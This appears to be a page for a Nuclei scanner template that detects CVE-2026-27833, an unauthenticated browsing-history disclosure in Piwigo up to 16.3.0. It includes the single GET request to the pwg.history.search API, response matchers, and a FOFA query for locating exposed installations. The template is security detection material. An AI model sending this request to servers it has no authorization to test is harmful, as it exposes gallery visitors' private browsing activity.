Piwigo < 16.3.0 - Unauthenticated Information Disclosure via History API
CVE-2026-27833
Early Release
Description
Piwigo <= 16.3.0 contains an information disclosure vulnerability caused by the pwg.history.search API method lacking admin_only restriction, letting unauthenticated users access full browsing history, exploit requires no authentication
Severity
High
CVSS Score
7.5
Affected Product
piwigo
Published Date
June 15, 2026
Template Author
0x_akoko
CVE-2026-27833.yaml
id: CVE-2026-27833
info:
name: Piwigo < 16.3.0 - Unauthenticated Information Disclosure via History API
author: 0x_Akoko
severity: high
description: |
Piwigo <= 16.3.0 contains an information disclosure vulnerability caused by the pwg.history.search API method lacking admin_only restriction, letting unauthenticated users access full browsing history, exploit requires no authentication
impact: |
Unauthenticated attackers can access full browsing history of all gallery visitors, exposing sensitive user activity data.
remediation: |
Update to version 16.3.0 or later.
reference:
- https://github.com/Piwigo/Piwigo/security/advisories/GHSA-397m-gfhm-pmg2
- https://nvd.nist.gov/vuln/detail/CVE-2026-27833
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-27833
cwe-id: CWE-862
metadata:
verified: false
max-request: 1
vendor: piwigo
product: piwigo
fofa-query: icon_hash=="540706145"
tags: cve,cve2026,piwigo,exposure,unauth
http:
- raw:
- |
GET /ws.php?method=pwg.history.search&format=json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"stat\":\"ok\"", "\"result\"", "\"lines\"")'
- 'contains_any(body, "\"USERNAME\"", "\"NB_LINES\"", "\"GUESTS\"")'
condition: and
# digest: 4b0a00483046022100d75bb37195d79603ada5688b5101bbe8e4714edbd39b3c48f1db62d29712cb0c022100dee2d43323e66400f7f0707a7402d4b320f75f719fd8683e5edcad17abf2bfd2:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-27833
CWE ID:
cwe-862
Remediation Steps
Update to version 16.3.0 or later.